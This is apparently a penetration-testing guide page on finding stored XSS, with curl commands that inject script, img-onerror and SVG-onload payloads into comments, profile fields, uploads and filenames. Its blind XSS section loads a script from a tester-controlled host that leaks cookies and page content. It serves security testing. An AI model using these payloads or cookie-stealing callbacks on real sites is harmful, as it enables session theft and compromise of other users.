Skip to content

Stored XSS Checks

5 min read Created Mar 28, 2026 Last updated Sep 17, 2026

Stored XSS embeds a malicious script in the application's data store and executes it in the browser of every user who views the affected page. Unlike reflected XSS, it does not require a victim to click a crafted link: it fires automatically. Testing follows the same reflection-first approach as reflected XSS, but storage and retrieval must both be confirmed. Confirmed stored XSS moves to stored XSS exploitation.

Identify Storage Points

Any input that is saved and later displayed to other users is a stored XSS candidate. Common surfaces:

  • Comment and forum fields

  • Profile fields: name, bio, location, website

  • Support ticket and message systems

  • File upload names and metadata

  • Admin-visible fields in registration forms

Inject a Unique Marker

Use a unique string first to confirm the value is stored and later retrieved, before testing for HTML execution:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/comments -H 'Cookie: session=YOUR_SESSION' -d 'comment=STORED_XSS_MARKER_12345&post_id=1'
Explain command
-sk Suppresses progress output and skips TLS certificate validation.
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/posts/1 | grep 'STORED_XSS_MARKER_12345'
<p>STORED_XSS_MARKER_12345</p>

The marker appearing in the retrieved page confirms persistence. Now check the surrounding HTML context to determine the correct payload format.

Test HTML Injection and Script Execution

Replace the marker with an HTML payload and verify it survives encoding:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/comments -H 'Cookie: session=YOUR_SESSION' -d 'comment=<script>alert(document.domain)</script>&post_id=1'
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/posts/1 | grep -i 'script'
<p><script>alert(document.domain)</script></p>

The unencoded script tag in the retrieved response confirms stored XSS. Open the page in a browser to verify execution before escalating. If the response shows the encoded form &lt;script&gt; instead of the raw tag, the application is encoding output at render time.

Input Sanitization vs Output Encoding

These are two different defenses. Input sanitization strips or modifies dangerous content before storing it. Output encoding converts characters like < to &lt; at render time. Applications that sanitize input but skip output encoding can still be vulnerable if the sanitization is incomplete or context-dependent. Try alternative tags like <img src=x onerror=alert(1)> or <svg/onload=alert(1)> to test whether a tag-based filter is comprehensive. An application that encodes output correctly is generally protected regardless of what it stores.

Profile Field Testing

Profile fields rendered for other users (name, website, bio) are often stored XSS vectors that affect admins viewing user lists:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X PUT http://$TARGET_IP:$PORT/api/v1/profile -H 'Content-Type: application/json' -H 'Cookie: session=YOUR_SESSION' -d '{"name":"<img src=x onerror=alert(document.domain)>","bio":"test"}'
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/api/v1/profile -H 'Cookie: session=YOUR_SESSION' | grep -i 'img\|onerror'

File Upload as XSS Vector

File uploads introduce stored XSS vectors beyond text fields. If the application serves uploaded files from the same origin, a malicious file executes in the application's context.

SVG with Embedded JavaScript

SVG files support inline JavaScript via the onload event. Upload an SVG and navigate to the served file URL:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
  <rect width="100" height="100"/>
</svg>

Save this as payload.svg and upload it through the application's file upload. If the server returns it with Content-Type: image/svg+xml, the script executes when the SVG is loaded directly in the browser.

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/upload -H 'Cookie: session=YOUR_SESSION' -F 'file=@payload.svg'

HTML File Upload

If the application allows HTML file uploads and serves them from the same origin, the file runs as a full page in the application's context. Upload a minimal HTML page with a script tag and visit the served URL.

Filename-Based XSS

Some admin panels or file managers display uploaded filenames without encoding. Set the filename to a payload:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/upload -H 'Cookie: session=YOUR_SESSION' -F 'file=@test.txt;filename="<img src=x onerror=alert(document.domain)>.txt"'

Check the admin file listing or any page that displays the filename to see if the payload renders unencoded.

Blind XSS

Some stored XSS payloads fire in contexts you cannot observe directly: admin panels, moderation queues, support ticket dashboards, log viewers, or internal tools. You never see the page where execution happens, so you cannot confirm it by loading the URL yourself.

Use an out-of-band callback to detect execution. The payload calls home to your server when it fires, proving execution and leaking the page context:

<script src="http://$LHOST:$LPORT/blind.js"></script>

Host a callback script on your server that exfiltrates the document URL, cookies, and DOM content when loaded. Services like XSS Hunter automate this with hosted payloads and a dashboard for reviewing callbacks. For manual testing, a Python HTTP server works:

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server $LPORT

Inject the callback payload into every input field you can reach: registration forms, support tickets, feedback forms, profile fields. Any field that might be viewed by internal staff is a candidate. A callback hit days later is still a valid finding.

Automated Scanning with dalfox

dalfox can scan stored XSS points when you point it at the input endpoint and provide the retrieval URL for verification. The --blind flag sets up an out-of-band callback for blind XSS detection:

┌──(kali㉿kali)-[~]
└─$ dalfox url "http://$TARGET_IP:$PORT/posts/1" --cookie "session=YOUR_SESSION" --blind http://$LHOST:$LPORT/
Explain command
--blind Configures an out-of-band callback URL for blind XSS detection.
--cookie Sends the session cookie with requests for authenticated scanning.

References